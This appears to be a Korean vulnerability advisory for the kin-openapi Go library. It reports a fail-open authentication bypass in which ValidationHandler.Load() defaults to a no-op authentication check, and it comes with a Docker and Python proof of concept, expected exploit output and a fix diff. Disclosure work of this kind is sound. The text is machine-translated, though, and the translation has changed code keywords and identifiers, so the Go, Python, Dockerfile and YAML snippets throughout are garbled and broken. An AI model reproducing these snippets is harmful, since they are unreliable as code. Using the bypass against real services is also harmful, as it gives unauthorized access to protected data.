kin-openapi: ValidationHandler.Load() NoopAuthenticationFunc 기본값을 통한 페일오픈 인증 우회
getkin/kin-openapi의 ValidationHandler.Load()는 nil AuthenticationFunc를 NoopAuthenticationFunc로 자동 대체합니다. 이는 자격 증명 확인을 수행하지 않고 항상 nil을 반환합니다. 이러한 대체는 호출자가 필드를 생략할 때 무조건 발생하기 때문에 사양에 선언된 모든 OpenAPI '보안' 요구 사항은 인증되지 않은 요청에 대해 자동으로 충족됩니다. 인증되지 않은 원격 공격자는 애플리케이션이 적용 미들웨어로 'ValidationHandler'를 사용하는 경우 OpenAPI 작업에 API 키, OAuth 토큰 또는 기타 보안 체계가 필요한 경로의 핸들러에 도달할 수 있습니다.
'ValidationHandler'는 로드된 OpenAPI 사양에 대해 들어오는 요청과 응답을 검증하는 'openapi3filter'에서 내보낸 HTTP 미들웨어입니다. Load() 메서드는 핸들러가 제공을 시작하기 전에 기본 필드를 초기화합니다.
``가다 // openapi3filter/validation_handler.go:47-49 h.AuthenticationFunc == nil인 경우 { h.AuthenticationFunc = NoopAuthenticationFunc }
NoopAuthenticationFunc는 다음과 같이 정의됩니다.
``가다
// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) 오류 { return nil }
항상 'nil'을 반환합니다. 이는 처리하는 모든 보안 체계 검사가 자동으로 승인된다는 의미입니다.
요청이 도착하면 ServeHTTP → before → validateRequest는 Options에 주입된 현재 AuthenticationFunc(현재 no-op)와 함께 RequestValidationInput을 어셈블합니다.
``가다 // openapi3filter/validation_handler.go:91-103 옵션 := &옵션{ 인증Func: h.AuthenticationFunc, } requestValidationInput := &RequestValidationInput{ 요청: r, PathParams: pathParams, 경로: 경로, 옵션: 옵션, } if err = ValidateRequest(r.Context(), requestValidationInput); 오류 != 없음 { 반품 오류 }
'ValidateRequest' 내에서 각 보안 요구 사항은 'options.AuthenticationFunc'를 호출합니다.
``가다
// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
f == nil인 경우 {
return ErrAuthenticationServiceMissing // 실패로 닫힌 경로 - ValidationHandler를 통해 도달하지 않음
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); 오류 != 없음 {
반품 오류
}
f는 무작동(nil 아님)이기 때문에 ErrAuthenticationServiceMissing 가드는 절대 트리거되지 않으며 f(...)는 nil을 반환하여 보안 요구 사항을 지웁니다. 그런 다음 제어는 보호된 핸들러(validation_handler.go:61-62)로 진행됩니다.
중요한 모순은 nil AuthenticationFunc와 함께 ValidateRequest를 직접 사용하는 호출자는 실패 시 닫힘 동작(ErrAuthenticationServiceMissing)을 받는 반면, nil AuthenticationFunc와 함께 상위 수준 ValidationHandler를 사용하는 호출자는 실패 시 열기 동작을 얻는다는 것입니다. 'AuthenticationFunc'를 생략하는 것이 자연스러운 기본값이므로 대부분의 실제 통합은 취약합니다.
영향을 받은 소스 파일 및 줄: openapi3filter/validation_handler.go:47–49(30e2923 커밋, v0.143.0 태그).
환경
Docker(다단계 빌드를 지원하는 모든 버전)
Go 1.25(golang:1.25-alpine을 통해 컨테이너 내부)
getkin/kin-openapi v0.143.0(로컬 소스 복사본)
1단계 - Docker 이미지 빌드
저장소 루트(vuln-001/의 상위)에서:
``배쉬
도커 빌드
-t vuln001-auth-bypass-poc
-f vuln-001/Dockerfile
보고서/github_web_233_getkin__kin-openapi
`Dockerfile`은 로컬 `kin-openapi` 소스를 이미지 내부의 `/kin-openapi/`에 복사하고 `main.go`에서 Go 바이너리(`/poc-binary`)를 빌드합니다. 이미지 내부의 `go.mod`는 `/kin-openapi`를 가리키는 `replace` 지시문을 사용하므로 Go 모듈 프록시에 대한 네트워크 액세스가 필요하지 않습니다.
**2단계 - 컨테이너 실행**
``배쉬
docker run --rm --network 없음 vuln001-auth-bypass-poc
3단계(대체) - Python 도우미 사용
``배쉬 python3 vuln-001/poc.py --no-cleanup
**PoC의 역할**
`main.go`는 `GET /secret`을 `apiKey` 보안 체계로 보호되는 것으로 선언하는 임시 OpenAPI 3.0 사양을 생성합니다.
``yaml
경로:
/비밀:
얻다:
보안:
- API키: []
구성요소:
보안체계:
API키:
유형: apiKey
이름: X-Api-Key
in: 헤더
그런 다음 AuthenticationFunc 설정 없이 ValidationHandler를 구성하고 Load()를 호출한 다음 X-Api-Key 헤더 없이 요청을 보냅니다.
``http GET /비밀 HTTP/1.1 호스트: example.test
**예상되는(취약한) 출력**
=== 대조: nil AuthenticationFunc를 사용한 직접 ValidateRequest === Direct ValidateRequest (nil auth) => 오류: 보안 요구 사항 실패: AuthenticationFunc 누락 -> Fail-CLOSED 동작 확인: 누락된 인증 기능이 거부됩니다.
=== 익스플로잇: AuthenticationFunc가 없는 ValidationHandler.Load() === OpenAPI 사양은 다음을 정의합니다. 보안: GET /secret의 [{apiKey: []}] ValidationHandler.AuthenticationFunc: 설정되지 않음(nil) Load()는 항상 nil을 반환하는 NoopAuthenticationFunc를 주입합니다.
요청: GET /secret(X-Api-Key 헤더: 없음) 응답: status=200 body="SECRET_DATA\n"
[익스플로잇 성공] 인증 우회 확인! 보호된 리소스 /secret에서 자격 증명 없이 SECRET_DATA를 반환했습니다. ValidationHandler.Load()는 NoopAuthenticationFunc를 자동으로 주입했습니다. 보안 요구 사항이 우회되었습니다. VULN-001 재현.
대조 블록은 `ValidateRequest`가 직접 호출될 때 실패 시 닫힘 동작을 확인합니다. 익스플로잇 블록은 'ValidationHandler'를 통해 페일오픈 동작을 확인합니다. 상태 200 및 `SECRET_DATA`는 자격 증명 없이 반환됩니다.
**수정 패치**
``차이점
--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
h.Handler == nil인 경우 {
h.Handler = http.DefaultServeMux
}
- h.AuthenticationFunc == nil인 경우 {
- h.AuthenticationFunc = NoopAuthenticationFunc
- }
h.ErrorEncoder == nil인 경우 {
h.ErrorEncoder = DefaultErrorEncoder
}
이 변경 후에는 nil 'AuthenticationFunc'가 'ValidateRequest'로 전파되어 'ErrAuthenticationServiceMissing'을 반환하고 요청을 거부합니다. 인증을 건너뛰기를 진정으로 원하는 발신자는 h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc와 같이 명시적으로 선택할 수 있습니다.
이는 인증 우회 취약점(CWE-287)입니다. 다음과 같은 애플리케이션:
AuthenticationFunc를 명시적으로 설정하지 않습니다,완전히 노출되어 있습니다. 인증되지 않은 원격 공격자는 자격 증명을 제공하지 않고도 보호된 엔드포인트에 요청을 보낼 수 있습니다. 미들웨어는 요청을 수락하고 마치 인증이 성공한 것처럼 기본 핸들러에 전달합니다.
영향을 받는 당사자에는 'ValidationHandler'를 드롭인 유효성 검사 레이어로 채택하고 별도의 인증 레이어 업스트림(예: API 게이트웨이 또는 역방향 프록시)을 추가하지 않고 액세스 제어를 위해 OpenAPI '보안' 선언을 사용하는 모든 Go 서비스가 포함됩니다. 안전하지 않은 동작이 기본이기 때문에 "시작하기" 경로를 따르는 개발자는 추가적인 실수 없이 영향을 받습니다.
보안된 엔드포인트 뒤에 있는 데이터의 기밀성과 무결성은 모두 높은 위험에 노출되어 있습니다. 가용성은 이 취약점의 직접적인 영향을 받지 않습니다.
도커파일``도커파일 FROM golang:1.25-alpine
RUN apk add --no-cache git
WORKDIR /작업 공간
COPY 저장소/ /kin-openapi/
RUN mkdir -p /workspace/poc WORKDIR /작업공간/poc
RUN 고양이 > go.mod <<'EOF' 모듈 kin-openapi-auth-bypass-poc
1.25로 가세요
github.com/getkin/kin-openapi v0.143.0이 필요합니다.
github.com/getkin/kin-openapi => /kin-openapi 교체 EOF
복사 vuln-001/main.go /workspace/poc/main.go
RUN go mod tidy &&
build -o /poc-binary 로 이동하세요.
CMD ["/poc-바이너리"]
#### `poc.py`
``파이썬
#!/usr/bin/env python3
"""
VULN-001용 PoC: ValidationHandler.Load() NoopAuthenticationFunc 기본값을 통한 Fail-Open 인증 우회
저장소: getkin/kin-openapi v0.143.0
CWE: CWE-287 (부적절한 인증)
CVSS: 9.1(긴급)
취약점 요약:
ValidationHandler.Load()는 nil AuthenticationFunc를 NoopAuthenticationFunc로 자동 대체합니다.
NoopAuthenticationFunc는 항상 nil(오류 없음)을 반환하므로 모든 OpenAPI 보안 요구 사항은
사용자가 AuthenticationFunc 설정을 잊어버린 경우 유효성 검사 없이 전달됩니다.
대조: nil AuthenticationFunc를 사용한 ValidateRequest()는 ErrAuthenticationServiceMissing을 반환합니다.
(페일클로즈). ValidationHandler.Load()는 이 보장을 깨뜨립니다(페일오픈).
사용법:
python3 poc.py [--build-dir <디렉터리>] [--image <이름>] [--no-cleanup]
"""
인수 가져오기
수입 OS
하위 프로세스 가져오기
수입 시스템
JSON 가져오기
IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")
SUCCESS_MARKER = "[익스플로잇 성공]"
EXPECTED_STATUS = "상태=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'
def 실행(cmd, **kwargs):
"""쉘 명령을 실행하고 반환합니다(반환 코드, stdout, stderr)."""
print(f"[CMD] {' '.join(cmd)}")
결과 = subprocess.run(cmd, Capture_output=True, text=True, **kwargs)
result.stdout인 경우:
인쇄(결과.stdout, end="")
결과.stderr인 경우:
인쇄(결과.stderr, end="", 파일=sys.stderr)
return result.returncode, result.stdout, result.stderr
def build_image(build_dir):
"""PoC 바이너리가 포함된 Docker 이미지를 빌드합니다."""
print("\n[*] Docker 이미지 빌드 중 ...")
rc, stdout, stderr = 실행([
"도커", "빌드",
"--build-arg", f"REPO_DIR={REPO_DIR}",
"-t", IMAGE_NAME,
"-f", os.path.join(build_dir, "Dockerfile"),
# 빌드 컨텍스트는 보고서 루트이므로 Dockerfile과 repo/에 모두 접근할 수 있습니다.
os.path.dirname(build_dir),
])
rc != 0인 경우:
print(f"[ERROR] Docker 빌드 실패(exit {rc})", file=sys.stderr)
sys.exit(rc)
print("[*] Docker 빌드가 성공했습니다.")
return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"
def run_container():
"""컨테이너를 실행하고 출력을 캡처합니다."""
print("\n[*] PoC 컨테이너 실행 중 ...")
rc, stdout, stderr = 실행([
"도커", "실행", "--rm",
"--network", "none", # 네트워크 액세스가 필요하지 않습니다.
IMAGE_NAME,
])
결합 = stdout + stderr
rc를 결합하여 반환
def 평가(exit_code, 출력):
"""익스플로잇이 확인되었는지 확인하세요."""
통과 = (
종료_코드 == 0
및 출력의 SUCCESS_MARKER
및 출력의 EXPECTED_STATUS
및 출력의 EXPECTED_BODY
)
반환 통과
def cleanup_image():
"""도커 이미지를 제거하세요."""
print(f"\n[*] Docker 이미지 {IMAGE_NAME} 제거 중 ...")
run(["docker", "rmi", "-f", IMAGE_NAME])
데프 메인():
전역 IMAGE_NAME
파서 = argparse.ArgumentParser(description="VULN-001 인증 우회 PoC 실행기")
파서.add_argument("--build-dir", 기본값=SCRIPT_DIR,
help="Dockerfile 및 main.go가 포함된 디렉터리")
파서.add_argument("--image", 기본값=IMAGE_NAME,
help="빌드/실행할 Docker 이미지 이름")
파서.add_argument("--no-cleanup", action="store_true",
help="실행 후 Docker 이미지 유지")
args = 파서.parse_args()
IMAGE_NAME = args.image
인쇄("=" * 60)
print("VULN-001 PoC: NoopAuthenticationFunc 기본값을 통한 인증 우회")
인쇄("=" * 60)
print(f" 빌드 디렉토리 : {args.build_dir}")
print(f" 저장소 디렉토리 : {REPO_DIR}")
print(f" 이미지 : {IMAGE_NAME}")
build_cmd = build_image(args.build_dir)
run_cmd = f"docker run --rm --network 없음 {IMAGE_NAME}"
exit_code, 출력 = run_container()
그렇지 않은 경우 args.no_cleanup:
cleanup_image()
통과됨 = 평가(exit_code, 출력)
print("\n" + "=" * 60)
통과한 경우:
print("[RESULT] PASS — 인증 우회 확인됨")
print(" 보호된 처리기가 자격 증명 없이 SECRET_DATA를 반환했습니다.")
print(" ValidationHandler.Load()가 NoopAuthenticationFunc를 자동으로 주입했습니다.")
그 외:
print(f"[RESULT] FAIL — 익스플로잇이 확인되지 않음 (exit={exit_code})")
print(f"\n컨테이너 종료 코드 : {exit_code}")
print(f"성공 마커 발견: {SUCCESS_MARKER 출력에서}")
print(f"상태 200 발견: {출력에서 EXPECTED_STATUS}")
print(f"비밀 본문 발견 : {출력에서 EXPECTED_BODY}")
# 성공/실패를 알리는 코드로 종료합니다.
sys.exit(전달되면 0, 그렇지 않으면 1)
__name__ == "__main__"인 경우:
메인()
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 91.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 91.00 |
VPI 공식 vpi-v1 기준